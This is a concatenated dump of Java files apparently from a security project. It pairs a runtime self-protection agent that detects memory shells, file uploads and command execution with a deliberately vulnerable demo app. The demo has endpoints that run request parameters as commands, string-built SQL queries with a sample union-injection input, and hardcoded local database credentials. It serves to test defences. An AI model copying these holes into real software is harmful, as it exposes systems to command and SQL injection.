catch (Exception e) { 45 | e.printStackTrace(); 46 | } 47 | return null; 48 | } 49 | 50 | @RequestMapping("/case3") 51 | @ResponseBody 52 | public Object case3(HttpServletRequest request, HttpServletResponse response) throws IOException { 53 | try { 54 | String str = request.getParameter("str"); 55 | System.out.println(str); 56 | 57 | String result = Exec.processImpl(str); 58 | 59 | return result; 60 | } catch (Exception e) { 61 | e.printStackTrace(); 62 | } 63 | return null; 64 | } 65 | 66 | @RequestMapping("/case4") 67 | @ResponseBody 68 | public Object case4(HttpServletRequest request, HttpServletResponse response) throws IOException { 69 | try { 70 | String str = request.getParameter("str"); 71 | System.out.println(str); 72 | 73 | String result = Exec.processBuilder(str); 74 | 75 | return result; 76 | } catch (Exception e) { 77 | e.printStackTrace(); 78 | } 79 | return null; 80 | } 81 | 82 | @RequestMapping("/case5") 83 | @ResponseBody 84 | public Object case5(HttpServletRequest request, HttpServletResponse response) throws IOException { 85 | try { 86 | String str = request.getParameter("str"); 87 | System.out.println(str); 88 | 89 | String result = Exec.processImplUnixProcess(str); 90 | 91 | return result; 92 | } catch (Exception e) { 93 | e.printStackTrace(); 94 | } 95 | return null; 96 | } 97 | 98 | @RequestMapping("/case6") 99 | @ResponseBody 100 | public Object case6(HttpServletRequest request, HttpServletResponse response) throws IOException { 101 | try { 102 | String str = request.getParameter("str"); 103 | System.out.println(str); 104 | 105 | String result = Exec.processImplUnixProcessByUnsafeNative(str); 106 | 107 | return result; 108 | } catch (Exception e) { 109 | e.printStackTrace(); 110 | } 111 | return null; 112 | } 113 | } 114 | -------------------------------------------------------------------------------- /ppprasp-agent/src/main/java/com/ppprasp/agent/hook/memshell/JettyMemShellHook.java: -------------------------------------------------------------------------------- 1 | package com.ppprasp.agent.hook.memshell; 2 | 3 | import com.alibaba.jvm.sandbox.api.Information; 4 | import com.alibaba.jvm.sandbox.api.Module; 5 | import com.alibaba.jvm.sandbox.api.ModuleLifecycle; 6 | import com.alibaba.jvm.sandbox.api.listener.ext.Advice; 7 | import com.alibaba.jvm.sandbox.api.listener.ext.AdviceListener; 8 | import com.alibaba.jvm.sandbox.api.listener.ext.EventWatchBuilder; 9 | import com.alibaba.jvm.sandbox.api.resource.ModuleEventWatcher; 10 | import com.ppprasp.agent.check.ClassChecker; 11 | import com.ppprasp.agent.common.RASPConfig; 12 | import com.ppprasp.agent.common.RASPContext; 13 | import com.ppprasp.agent.common.RASPManager; 14 | import com.ppprasp.agent.common.enums.Algorithm; 15 | import com.ppprasp.agent.common.enums.Middleware; 16 | import com.ppprasp.agent.common.enums.Status; 17 | import com.ppprasp.agent.common.enums.VulInfo; 18 | import com.ppprasp.agent.utils.Reflections; 19 | import org.kohsuke.MetaInfServices; 20 | 21 | import javax.annotation.Resource; 22 | import java.lang.reflect.Method; 23 | 24 | /** 25 | * @author Whoopsunix 26 | *

27 | * Spring 内存马 28 | */ 29 | @MetaInfServices(Module.class) 30 | @Information(id = "rasp-ms-jetty", author = "Whoopsunix", version = "1.0.0") 31 | public class JettyMemShellHook implements Module, ModuleLifecycle { 32 | 33 | @Resource 34 | private ModuleEventWatcher moduleEventWatcher; 35 | 36 | public void checkListener() { 37 | Status status = RASPConfig.getAlgoStatus(Algorithm.MSJettyListener.getAlgoId(), Algorithm.MSJettyListener.getAlgoName()); 38 | if (status == null || status == Status.CLOSE) 39 | return; 40 | try { 41 | // String className = "org.eclipse.jetty.server.handler.ContextHandler"; 42 | // String methodName = "addEventListener"; 43 | String className = "org.eclipse.jetty.server.handler.ContextHandler"; 44 | String methodName = "setEventListeners"; 45 | 46 | new EventWatchBuilder(moduleEventWatcher) 47 | .onClass(className) 48 | .includeBootstrap() 49 | .onBehavior(methodName) 50 | .onWatch(new AdviceListener() { 51 | @Override 52 | protected void before(Advice advice) throws Throwable { 53 | Object[] eventListeners = (Object[]) advice.getParameterArray()[0]; 54 | Object javaObject = eventListeners[0]; 55 | 56 | RASPContext.Context context = RASPContext.getContext(); 57 | if (context != null && !ClassChecker.hasLocalClassFile(javaObject.getClass())) { 58 | RASPManager.showStackTracer(); 59 | RASPManager.changeResponse(context.getHttpBundle()); 60 | String blockInfo = String.format("[!] %s %s Blocked by PPPRASP [!]", Middleware.Jetty.getDescription(), VulInfo.MSListener.getDescription()); 61 | 62 | RASPManager.scheduler(status, blockInfo); 63 | } 64 | super.before(advice); 65 | } 66 | 67 | }); 68 | } catch (Exception e) { 69 | 70 | } 71 | } 72 | 73 | @Override 74 | public void onLoad() throws Throwable { 75 | 76 | } 77 | 78 | @Override 79 | public void onUnload() throws Throwable { 80 | 81 | } 82 | 83 | @Override 84 | public void onActive() throws Throwable { 85 | 86 | } 87 | 88 | @Override 89 | public void onFrozen() throws Throwable { 90 | 91 | } 92 | 93 | @Override 94 | public void loadCompleted() { 95 | checkListener(); 96 | } 97 | } 98 | -------------------------------------------------------------------------------- /ppprasp-agent/src/main/java/com/ppprasp/agent/common/RASPConfig.java: -------------------------------------------------------------------------------- 1 | package com.ppprasp.agent.common; 2 | 3 | import com.ppprasp.agent.common.enums.Algorithm; 4 | import com.ppprasp.agent.common.enums.Status; 5 | import org.yaml.snakeyaml.Yaml; 6 | 7 | import java.io.InputStream; 8 | import java.util.ArrayList; 9 | import java.util.LinkedHashMap; 10 | import java.util.Map; 11 | 12 | /** 13 | * @author Whoopsunix 14 | *

15 | * RASP 算法配置 16 | * todo 动态配置 17 | */ 18 | public class RASPConfig { 19 | public static void main(String[] args) { 20 | // String is = RASPConfig.isCheck("rasp-rce", "normal"); 21 | // System.out.println(is); 22 | 23 | Status status = getAlgoStatus(Algorithm.Deserialization.getAlgoId(), Algorithm.Deserialization.getAlgoName()); 24 | System.out.println(status); 25 | } 26 | 27 | private static String configPath = "raspConfig.yml"; 28 | 29 | public static Status getAlgoStatus(String algoId, String algoName) { 30 | Map yamlData = new RASPConfig().loadYamlConfig(configPath); 31 | LinkedHashMap algoConfig = (LinkedHashMap) yamlData.get(algoId); 32 | 33 | // 是否开启 34 | Boolean isEnable = (Boolean) algoConfig.get("enable"); 35 | 36 | if (!isEnable) 37 | return null; 38 | 39 | // 获取算法配置 40 | LinkedHashMap algorithms = (LinkedHashMap) algoConfig.get("algorithms"); 41 | String status = (String) algorithms.get(algoName); 42 | 43 | if (status == null) 44 | return null; 45 | 46 | if (status.equalsIgnoreCase(Status.OPEN.getDescription())) { 47 | return Status.OPEN; 48 | } else if (status.equalsIgnoreCase(Status.CLOSE.getDescription())) { 49 | return Status.CLOSE; 50 | } else if (status.equalsIgnoreCase(Status.LOG.getDescription())) { 51 | return Status.LOG; 52 | } 53 | 54 | return null; 55 | } 56 | 57 | public Map loadYamlConfig(String filePath) { 58 | Yaml yaml = new Yaml(); 59 | ClassLoader classLoader = this.getClass().getClassLoader(); 60 | InputStream inputStream = classLoader.getResourceAsStream(filePath); 61 | Map yamlData = yaml.load(inputStream); 62 | 63 | return yamlData; 64 | } 65 | 66 | /** 67 | * 是否要检查,规划三种模式 68 | * todo 目前只做 block 69 | * block: 阻断 70 | * log: 不阻断只记录日志 71 | * ignore: 不阻断不记录日志 72 | * 73 | * @param hookName 74 | * @param algorithmName 75 | * @return 76 | */ 77 | public static String isCheck(String hookName, String algorithmName) { 78 | Map yamlData = new RASPConfig().loadYamlConfig(); 79 | // 获取 Hook 配置 80 | ArrayList hookList = (ArrayList) yamlData.get("hook"); 81 | for (Object hook : hookList) { 82 | LinkedHashMap hookMap = (LinkedHashMap) hook; 83 | // 是否为需要检测的算法 84 | if (!(hookMap.get("id").toString().equalsIgnoreCase(hookName))) { 85 | continue; 86 | } 87 | if (!(Boolean) hookMap.get("enable")) { 88 | // false 不检测 89 | return "ignore"; 90 | } 91 | 92 | // 获取算法配置 93 | ArrayList algorithms = (ArrayList) ((LinkedHashMap) hook).get("algorithms"); 94 | for (Object algorithm : algorithms) { 95 | LinkedHashMap algorithmMap = (LinkedHashMap) algorithm; 96 | if (algorithmMap.get("id").toString().equalsIgnoreCase(algorithmName)) { 97 | return (String) algorithmMap.get("action"); 98 | } 99 | } 100 | } 101 | 102 | // 默认要检查 103 | return "block"; 104 | } 105 | 106 | public Map loadYamlConfig() { 107 | Yaml yaml = new Yaml(); 108 | ClassLoader classLoader = this.getClass().getClassLoader(); 109 | InputStream inputStream = classLoader.getResourceAsStream(configPath); 110 | Map yamlData = yaml.load(inputStream); 111 | 112 | return yamlData; 113 | } 114 | } 115 | -------------------------------------------------------------------------------- /ppprasp-agent/src/main/java/com/ppprasp/agent/hook/memshell/SpringMemShellHook.java: -------------------------------------------------------------------------------- 1 | package com.ppprasp.agent.hook.memshell; 2 | 3 | import com.alibaba.jvm.sandbox.api.Information; 4 | import com.alibaba.jvm.sandbox.api.Module; 5 | import com.alibaba.jvm.sandbox.api.ModuleLifecycle; 6 | import com.alibaba.jvm.sandbox.api.listener.ext.Advice; 7 | import com.alibaba.jvm.sandbox.api.listener.ext.AdviceListener; 8 | import com.alibaba.jvm.sandbox.api.listener.ext.EventWatchBuilder; 9 | import com.alibaba.jvm.sandbox.api.resource.ModuleEventWatcher; 10 | import com.ppprasp.agent.check.ClassChecker; 11 | import com.ppprasp.agent.common.RASPConfig; 12 | import com.ppprasp.agent.common.RASPContext; 13 | import com.ppprasp.agent.common.RASPManager; 14 | import com.ppprasp.agent.common.enums.Algorithm; 15 | import com.ppprasp.agent.common.enums.Middleware; 16 | import com.ppprasp.agent.common.enums.Status; 17 | import com.ppprasp.agent.common.enums.VulInfo; 18 | import com.ppprasp.agent.utils.Reflections; 19 | import org.kohsuke.MetaInfServices; 20 | 21 | import javax.annotation.Resource; 22 | import java.lang.reflect.Method; 23 | 24 | /** 25 | * @author Whoopsunix 26 | *

27 | * Spring 内存马 28 | */ 29 | @MetaInfServices(Module.class) 30 | @Information(id = "rasp-ms-spring", author = "Whoopsunix", version = "1.0.0") 31 | public class SpringMemShellHook implements Module, ModuleLifecycle { 32 | 33 | @Resource 34 | private ModuleEventWatcher moduleEventWatcher; 35 | 36 | public void checkController() { 37 | Status status = RASPConfig.getAlgoStatus(Algorithm.MSSpringController.getAlgoId(), Algorithm.MSSpringController.getAlgoName()); 38 | if (status == null || status == Status.CLOSE) 39 | return; 40 | try { 41 | // String className = "org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"; 42 | // String methodName = "registerMapping"; 43 | 44 | String className = "org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry"; 45 | String methodName = "register"; 46 | 47 | new EventWatchBuilder(moduleEventWatcher) 48 | .onClass(className) 49 | .includeBootstrap() 50 | .onBehavior(methodName) 51 | .onWatch(new AdviceListener() { 52 | @Override 53 | protected void before(Advice advice) throws Throwable { 54 | Object requestMappingInfo = advice.getParameterArray()[0]; 55 | Object javaObject = advice.getParameterArray()[1]; 56 | Method method = (Method) advice.getParameterArray()[2]; 57 | 58 | RASPContext.Context context = RASPContext.getContext(); 59 | if (context != null && !ClassChecker.hasLocalClassFile(javaObject.getClass())) { 60 | RASPManager.showStackTracer(); 61 | RASPManager.changeResponse(context.getHttpBundle()); 62 | String blockInfo = String.format("[!] %s %s Blocked by PPPRASP, MemShell name is %s, try to add %s.%s() [!]", Middleware.Spring.getDescription(), VulInfo.MSController.getDescription(), Reflections.getFieldValue(requestMappingInfo, "name"), javaObject.getClass().getName(), method.getName()); 63 | 64 | RASPManager.scheduler(status, blockInfo); 65 | } 66 | super.before(advice); 67 | } 68 | 69 | }); 70 | } catch (Exception e) { 71 | 72 | } 73 | } 74 | 75 | @Override 76 | public void onLoad() throws Throwable { 77 | 78 | } 79 | 80 | @Override 81 | public void onUnload() throws Throwable { 82 | 83 | } 84 | 85 | @Override 86 | public void onActive() throws Throwable { 87 | 88 | } 89 | 90 | @Override 91 | public void onFrozen() throws Throwable { 92 | 93 | } 94 | 95 | @Override 96 | public void loadCompleted() { 97 | checkController(); 98 | } 99 | } 100 | -------------------------------------------------------------------------------- /SecVulns/vulnsCore/src/main/java/com/ppp/vulns/core/vulns/inject/sql/SQL.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.core.vulns.inject.sql; 2 | 3 | import java.sql.Connection; 4 | import java.sql.DriverManager; 5 | import java.sql.ResultSet; 6 | import java.sql.Statement; 7 | import java.util.ArrayList; 8 | import java.util.List; 9 | import java.util.Random; 10 | 11 | /** 12 | * @author Whoopsunix 13 | */ 14 | public class SQL { 15 | static final String JDBCDRIVER = "com.mysql.cj.jdbc.Driver"; 16 | static final String DBURL = "jdbc:mysql://127.0.0.1:3306/SecVulns?serverTimezone=UTC&useUnicode=true&characterEncoding=UTF-8"; 17 | static final String USER = "root"; 18 | static final String PASS = "123456"; 19 | 20 | public static void main(String[] args) throws Exception { 21 | List result; 22 | boolean re; 23 | 24 | result = select(1, null, null); 25 | result = select(1, "xxx' union select * from users#", "123"); 26 | System.out.println(result); 27 | 28 | re = insert("inject", "123456"); 29 | System.out.println(re); 30 | 31 | re = update("inject", "xxxx"); 32 | System.out.println(re); 33 | 34 | re = delete("inject", "xxxx"); 35 | System.out.println(re); 36 | } 37 | 38 | public static List select(Integer id, String username, String password) throws Exception { 39 | Class.forName(JDBCDRIVER); 40 | Connection connection = DriverManager.getConnection(DBURL, USER, PASS); 41 | Statement statement = connection.createStatement(); 42 | 43 | String sql = null; 44 | 45 | // if (id != null) { 46 | // sql = String.format("select * from users where `id`=%d;", id); 47 | // } else 48 | if (username != null && password != null) { 49 | sql = String.format("select * from users where `username`='%s' and `password`='%s';", username, password); 50 | } else { 51 | return null; 52 | } 53 | System.out.println(sql); 54 | ResultSet resultSet = statement.executeQuery(sql); 55 | List result = new ArrayList<>(); 56 | while (resultSet.next()) { 57 | result.add(new Users(resultSet.getInt("id"), resultSet.getString("username"), resultSet.getString("password"))); 58 | } 59 | 60 | statement.close(); 61 | connection.close(); 62 | return result; 63 | } 64 | 65 | public static boolean insert(String username, String password) throws Exception { 66 | Class.forName(JDBCDRIVER); 67 | Connection connection = DriverManager.getConnection(DBURL, USER, PASS); 68 | Statement statement = connection.createStatement(); 69 | String sql = String.format("insert into users(id, username, password) values(%d, '%s', '%s');", new Random().nextInt(Integer.MAX_VALUE - 1), username, password); 70 | System.out.println(sql); 71 | statement.execute(sql); 72 | statement.close(); 73 | connection.close(); 74 | 75 | return true; 76 | } 77 | 78 | public static boolean update(String username, String password) throws Exception { 79 | Class.forName(JDBCDRIVER); 80 | Connection connection = DriverManager.getConnection(DBURL, USER, PASS); 81 | Statement statement = connection.createStatement(); 82 | 83 | String sql = String.format("update users set password='%s' where username='%s';", password, username); 84 | System.out.println(sql); 85 | statement.execute(sql); 86 | statement.close(); 87 | connection.close(); 88 | 89 | return true; 90 | } 91 | 92 | public static boolean delete(String username, String password) throws Exception { 93 | Class.forName(JDBCDRIVER); 94 | Connection connection = DriverManager.getConnection(DBURL, USER, PASS); 95 | Statement statement = connection.createStatement(); 96 | 97 | String sql = String.format("delete from users where username='%s' and password='%s';", username, password); 98 | System.out.println(sql); 99 | statement.execute(sql); 100 | statement.close(); 101 | connection.close(); 102 | 103 | return true; 104 | } 105 | } 106 | -------------------------------------------------------------------------------- /ppprasp-agent/src/main/java/com/ppprasp/agent/hook/vul/FileUploadHook.java: -------------------------------------------------------------------------------- 1 | package com.ppprasp.agent.hook.vul; 2 | 3 | import com.alibaba.jvm.sandbox.api.Information; 4 | import com.alibaba.jvm.sandbox.api.Module; 5 | import com.alibaba.jvm.sandbox.api.ModuleLifecycle; 6 | import com.alibaba.jvm.sandbox.api.listener.ext.Advice; 7 | import com.alibaba.jvm.sandbox.api.listener.ext.AdviceListener; 8 | import com.alibaba.jvm.sandbox.api.listener.ext.EventWatchBuilder; 9 | import com.alibaba.jvm.sandbox.api.resource.ModuleEventWatcher; 10 | import com.ppprasp.agent.common.RASPConfig; 11 | import com.ppprasp.agent.common.RASPContext; 12 | import com.ppprasp.agent.common.RASPManager; 13 | import com.ppprasp.agent.common.enums.Algorithm; 14 | import com.ppprasp.agent.common.enums.Status; 15 | import com.ppprasp.agent.common.enums.VulInfo; 16 | import com.ppprasp.agent.utils.FileCopyUtils; 17 | import com.ppprasp.agent.utils.Reflections; 18 | import org.kohsuke.MetaInfServices; 19 | 20 | import javax.annotation.Resource; 21 | import java.io.File; 22 | import java.util.Arrays; 23 | 24 | /** 25 | * @author Whoopsunix 26 | *

27 | * 文件上传 28 | */ 29 | @MetaInfServices(Module.class) 30 | @Information(id = "rasp-fileUpload", author = "Whoopsunix", version = "1.1.0") 31 | public class FileUploadHook implements Module, ModuleLifecycle { 32 | 33 | @Resource 34 | private ModuleEventWatcher moduleEventWatcher; 35 | 36 | public void checkFileItem() { 37 | Status status = RASPConfig.getAlgoStatus(Algorithm.FileUpload.getAlgoId(), Algorithm.FileUpload.getAlgoName()); 38 | if (status == null || status == Status.CLOSE) 39 | return; 40 | 41 | new FileUploadHook().fileItem("org.apache.tomcat.util.http.fileupload.FileItem", "write", status); 42 | new FileUploadHook().fileItem("org.apache.commons.fileupload.disk.DiskFileItem", "write", status); 43 | } 44 | 45 | public void fileItem(String className, String methodName, Status status) { 46 | try { 47 | new EventWatchBuilder(moduleEventWatcher) 48 | .onClass(className) 49 | .includeBootstrap() 50 | .includeSubClasses() 51 | .onBehavior(methodName) 52 | .onWatch(new AdviceListener() { 53 | @Override 54 | protected void before(Advice advice) throws Throwable { 55 | byte[] bytes = new byte[0]; 56 | Object fileName = null; 57 | Object object = advice.getTarget(); 58 | 59 | fileName = Reflections.getFieldValue(object, "fileName"); 60 | try { 61 | bytes = FileCopyUtils.copyToByteArray((File) advice.getParameterArray()[0]); 62 | } catch (Exception e) { 63 | 64 | } 65 | 66 | RASPContext.Context context = RASPContext.getContext(); 67 | if (context != null) { 68 | RASPManager.showStackTracer(); 69 | RASPManager.changeResponse(context.getHttpBundle()); 70 | String blockInfo = String.format("[!] %s Blocked by PPPRASP, file name: %s, file content %s [!]", VulInfo.FileUpload.getDescription(), fileName, Arrays.toString(bytes)); 71 | 72 | RASPManager.scheduler(status, blockInfo); 73 | } 74 | 75 | super.before(advice); 76 | } 77 | 78 | }); 79 | } catch (Exception e) { 80 | 81 | } 82 | } 83 | 84 | 85 | @Override 86 | public void onLoad() throws Throwable { 87 | 88 | } 89 | 90 | @Override 91 | public void onUnload() throws Throwable { 92 | 93 | } 94 | 95 | @Override 96 | public void onActive() throws Throwable { 97 | 98 | } 99 | 100 | @Override 101 | public void onFrozen() throws Throwable { 102 | 103 | } 104 | 105 | @Override 106 | public void loadCompleted() { 107 | checkFileItem(); 108 | 109 | } 110 | } 111 | -------------------------------------------------------------------------------- /ppprasp-agent/src/main/java/com/ppprasp/agent/utils/StreamUtils.java: -------------------------------------------------------------------------------- 1 | package com.ppprasp.agent.utils; 2 | 3 | import java.io.*; 4 | import java.nio.charset.Charset; 5 | 6 | /** 7 | * @author Whoopsunix 8 | */ 9 | public class StreamUtils { 10 | public static final int BUFFER_SIZE = 4096; 11 | private static final byte[] EMPTY_CONTENT = new byte[0]; 12 | 13 | public StreamUtils() { 14 | } 15 | 16 | public static byte[] copyToByteArray(InputStream in) throws IOException { 17 | if (in == null) { 18 | return new byte[0]; 19 | } else { 20 | ByteArrayOutputStream out = new ByteArrayOutputStream(4096); 21 | copy((InputStream) in, out); 22 | return out.toByteArray(); 23 | } 24 | } 25 | 26 | public static String copyToString(InputStream in, Charset charset) throws IOException { 27 | if (in == null) { 28 | return ""; 29 | } else { 30 | StringBuilder out = new StringBuilder(4096); 31 | InputStreamReader reader = new InputStreamReader(in, charset); 32 | char[] buffer = new char[4096]; 33 | 34 | int charsRead; 35 | while ((charsRead = reader.read(buffer)) != -1) { 36 | out.append(buffer, 0, charsRead); 37 | } 38 | 39 | return out.toString(); 40 | } 41 | } 42 | 43 | public static String copyToString(ByteArrayOutputStream baos, Charset charset) { 44 | 45 | 46 | try { 47 | return baos.toString(charset.name()); 48 | } catch (UnsupportedEncodingException var3) { 49 | throw new IllegalArgumentException("Invalid charset name: " + charset, var3); 50 | } 51 | } 52 | 53 | public static void copy(byte[] in, OutputStream out) throws IOException { 54 | 55 | 56 | out.write(in); 57 | out.flush(); 58 | } 59 | 60 | public static void copy(String in, Charset charset, OutputStream out) throws IOException { 61 | 62 | 63 | Writer writer = new OutputStreamWriter(out, charset); 64 | writer.write(in); 65 | writer.flush(); 66 | } 67 | 68 | public static int copy(InputStream in, OutputStream out) throws IOException { 69 | 70 | 71 | int byteCount = 0; 72 | 73 | int bytesRead; 74 | for (byte[] buffer = new byte[4096]; (bytesRead = in.read(buffer)) != -1; byteCount += bytesRead) { 75 | out.write(buffer, 0, bytesRead); 76 | } 77 | 78 | out.flush(); 79 | return byteCount; 80 | } 81 | 82 | public static long copyRange(InputStream in, OutputStream out, long start, long end) throws IOException { 83 | 84 | 85 | long skipped = in.skip(start); 86 | if (skipped < start) { 87 | throw new IOException("Skipped only " + skipped + " bytes out of " + start + " required"); 88 | } else { 89 | long bytesToCopy = end - start + 1L; 90 | byte[] buffer = new byte[(int) Math.min(4096L, bytesToCopy)]; 91 | 92 | while (bytesToCopy > 0L) { 93 | int bytesRead = in.read(buffer); 94 | if (bytesRead == -1) { 95 | break; 96 | } 97 | 98 | if ((long) bytesRead <= bytesToCopy) { 99 | out.write(buffer, 0, bytesRead); 100 | bytesToCopy -= (long) bytesRead; 101 | } else { 102 | out.write(buffer, 0, (int) bytesToCopy); 103 | bytesToCopy = 0L; 104 | } 105 | } 106 | 107 | return end - start + 1L - bytesToCopy; 108 | } 109 | } 110 | 111 | public static int drain(InputStream in) throws IOException { 112 | 113 | byte[] buffer = new byte[4096]; 114 | 115 | int byteCount; 116 | int bytesRead; 117 | for (byteCount = 0; (bytesRead = in.read(buffer)) != -1; byteCount += bytesRead) { 118 | } 119 | 120 | return byteCount; 121 | } 122 | 123 | public static InputStream emptyInput() { 124 | return new ByteArrayInputStream(EMPTY_CONTENT); 125 | } 126 | 127 | public static InputStream nonClosing(InputStream in) { 128 | 129 | return new NonClosingInputStream(in); 130 | } 131 | 132 | public static OutputStream nonClosing(OutputStream out) { 133 | 134 | return new NonClosingOutputStream(out); 135 | } 136 | 137 | private static class NonClosingOutputStream extends FilterOutputStream { 138 | public NonClosingOutputStream(OutputStream out) { 139 | super(out); 140 | } 141 | 142 | public void write(byte[] b, int off, int let) throws IOException { 143 | this.out.write(b, off, let); 144 | } 145 | 146 | public void close() throws IOException { 147 | } 148 | } 149 | 150 | private static class NonClosingInputStream extends FilterInputStream { 151 | public NonClosingInputStream(InputStream in) { 152 | super(in); 153 | } 154 | 155 | public void close() throws IOException { 156 | } 157 | } 158 | } 159 | -------------------------------------------------------------------------------- /ppprasp-agent/src/main/java/com/ppprasp/agent/utils/Reflections.java: -------------------------------------------------------------------------------- 1 | package com.ppprasp.agent.utils; 2 | 3 | import sun.reflect.ReflectionFactory; 4 | 5 | import java.lang.reflect.*; 6 | 7 | @SuppressWarnings("restriction") 8 | public class Reflections { 9 | 10 | public static void setAccessible(AccessibleObject member) { 11 | member.setAccessible(true); 12 | } 13 | 14 | public static Field getField(final Class clazz, final String fieldName) { 15 | Field field = null; 16 | try { 17 | field = clazz.getDeclaredField(fieldName); 18 | field.setAccessible(true); 19 | } catch (NoSuchFieldException ex) { 20 | if (clazz.getSuperclass() != null) 21 | field = getField(clazz.getSuperclass(), fieldName); 22 | } 23 | return field; 24 | } 25 | 26 | public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { 27 | final Field field = getField(obj.getClass(), fieldName); 28 | field.set(obj, value); 29 | } 30 | 31 | public static Object getFieldValue(final Object obj, final String fieldName) { 32 | try { 33 | final Field field = getField(obj.getClass(), fieldName); 34 | return field.get(obj); 35 | }catch (Exception e){ 36 | 37 | } 38 | return null; 39 | } 40 | 41 | public static Constructor getFirstCtor(final String name) throws Exception { 42 | final Constructor constructor = Class.forName(name).getDeclaredConstructors()[0]; 43 | constructor.setAccessible(true); 44 | return constructor; 45 | } 46 | 47 | public static Constructor getFirstCtor(Class clazz) throws Exception { 48 | final Constructor constructor = clazz.getDeclaredConstructors()[0]; 49 | constructor.setAccessible(true); 50 | return constructor; 51 | } 52 | 53 | public static Object newInstance(String className, Object... args) throws Exception { 54 | return getFirstCtor(className).newInstance(args); 55 | } 56 | 57 | public static T createWithoutConstructor(Class classToInstantiate) 58 | throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 59 | return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); 60 | } 61 | 62 | @SuppressWarnings({"unchecked"}) 63 | public static T createWithConstructor(Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs) 64 | throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 65 | Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); 66 | objCons.setAccessible(true); 67 | Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); 68 | sc.setAccessible(true); 69 | return (T) sc.newInstance(consArgs); 70 | } 71 | 72 | public static Object invokeMethod(Object obj, String methodName, Class[] argsClass, Object[] args) throws Exception { 73 | try { 74 | return invokeMethod(obj.getClass(), obj, methodName, argsClass, args); 75 | }catch (Exception e){ 76 | return invokeMethod(obj.getClass().getSuperclass(), obj, methodName, argsClass, args); 77 | } 78 | } 79 | 80 | public static Object invokeMethod(Class cls, Object obj, String methodName, Class[] argsClass, Object[] args) throws Exception { 81 | Method method = cls.getDeclaredMethod(methodName, argsClass); 82 | method.setAccessible(true); 83 | Object object = method.invoke(obj, args); 84 | return object; 85 | } 86 | 87 | public static Object invokeMethod(Object obj, String methodName, Object... args) throws Exception { 88 | Class[] argsClass = new Class[args.length]; 89 | for (int i = 0; i < args.length; i++) { 90 | argsClass[i] = args[i].getClass(); 91 | if (argsClass[i].equals(Integer.class)) 92 | argsClass[i] = Integer.TYPE; 93 | else if (argsClass[i].equals(Boolean.class)) 94 | argsClass[i] = Boolean.TYPE; 95 | else if (argsClass[i].equals(Byte.class)) 96 | argsClass[i] = Byte.TYPE; 97 | else if (argsClass[i].equals(Long.class)) 98 | argsClass[i] = Long.TYPE; 99 | else if (argsClass[i].equals(Double.class)) 100 | argsClass[i] = Double.TYPE; 101 | else if (argsClass[i].equals(Float.class)) 102 | argsClass[i] = Float.TYPE; 103 | else if (argsClass[i].equals(Character.class)) 104 | argsClass[i] = Character.TYPE; 105 | else if (argsClass[i].equals(Short.class)) 106 | argsClass[i] = Short.TYPE; 107 | } 108 | Method method = obj.getClass().getDeclaredMethod(methodName, argsClass); 109 | Object o = method.invoke(obj, args); 110 | return o; 111 | } 112 | 113 | } 114 | -------------------------------------------------------------------------------- /SecVulns/springboot2Demo/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 4.0.0 5 | com.ppp.vulns.springboot2 6 | springboot2Demo 7 | 0.0.1-SNAPSHOT 8 | springboot2Demo 9 | springboot2Demo 10 | 11 | 1.8 12 | UTF-8 13 | UTF-8 14 | 2.6.13 15 | 16 | 17 | 18 | com.ppp.vulns.core 19 | vulnsCore 20 | 1.0-SNAPSHOT 21 | 22 | 23 | com.fasterxml.jackson.core 24 | jackson-databind 25 | 26 | 27 | 28 | 29 | 30 | org.springframework.boot 31 | spring-boot-starter 32 | 33 | 34 | 35 | org.springframework.boot 36 | spring-boot-starter-web 37 | 38 | 39 | com.fasterxml.jackson.core 40 | jackson-databind 41 | 42 | 43 | com.fasterxml.jackson.datatype 44 | jackson-datatype-jdk8 45 | 46 | 47 | com.fasterxml.jackson.datatype 48 | jackson-datatype-jsr310 49 | 50 | 51 | com.fasterxml.jackson.module 52 | jackson-module-parameter-names 53 | 54 | 55 | 56 | 57 | 58 | com.fasterxml.jackson.core 59 | jackson-databind 60 | 2.8.9 61 | 62 | 63 | com.fasterxml.jackson.datatype 64 | jackson-datatype-jdk8 65 | 2.8.9 66 | 67 | 68 | com.fasterxml.jackson.datatype 69 | jackson-datatype-jsr310 70 | 2.8.9 71 | 72 | 73 | com.fasterxml.jackson.module 74 | jackson-module-parameter-names 75 | 2.8.9 76 | 77 | 78 | 79 | 80 | 81 | org.springframework.boot 82 | spring-boot-dependencies 83 | ${spring-boot.version} 84 | pom 85 | import 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | org.apache.maven.plugins 94 | maven-compiler-plugin 95 | 3.8.1 96 | 97 | 1.8 98 | 1.8 99 | UTF-8 100 | 101 | 102 | 103 | org.springframework.boot 104 | spring-boot-maven-plugin 105 | ${spring-boot.version} 106 | 107 | com.ppp.vulns.springboot2.Springboot2DemoApplication 108 | true 109 | 110 | 111 | 112 | repackage 113 | 114 | repackage 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | -------------------------------------------------------------------------------- /ppprasp-agent/src/main/java/com/ppprasp/agent/hook/vul/RceHook.java: -------------------------------------------------------------------------------- 1 | package com.ppprasp.agent.hook.vul; 2 | 3 | import com.alibaba.jvm.sandbox.api.Information; 4 | import com.alibaba.jvm.sandbox.api.Module; 5 | import com.alibaba.jvm.sandbox.api.ModuleLifecycle; 6 | import com.alibaba.jvm.sandbox.api.listener.ext.Advice; 7 | import com.alibaba.jvm.sandbox.api.listener.ext.AdviceListener; 8 | import com.alibaba.jvm.sandbox.api.listener.ext.EventWatchBuilder; 9 | import com.alibaba.jvm.sandbox.api.resource.ModuleEventWatcher; 10 | import com.ppprasp.agent.common.RASPConfig; 11 | import com.ppprasp.agent.common.RASPContext; 12 | import com.ppprasp.agent.common.RASPManager; 13 | import com.ppprasp.agent.common.enums.Algorithm; 14 | import com.ppprasp.agent.common.enums.Status; 15 | import com.ppprasp.agent.common.enums.VulInfo; 16 | import org.kohsuke.MetaInfServices; 17 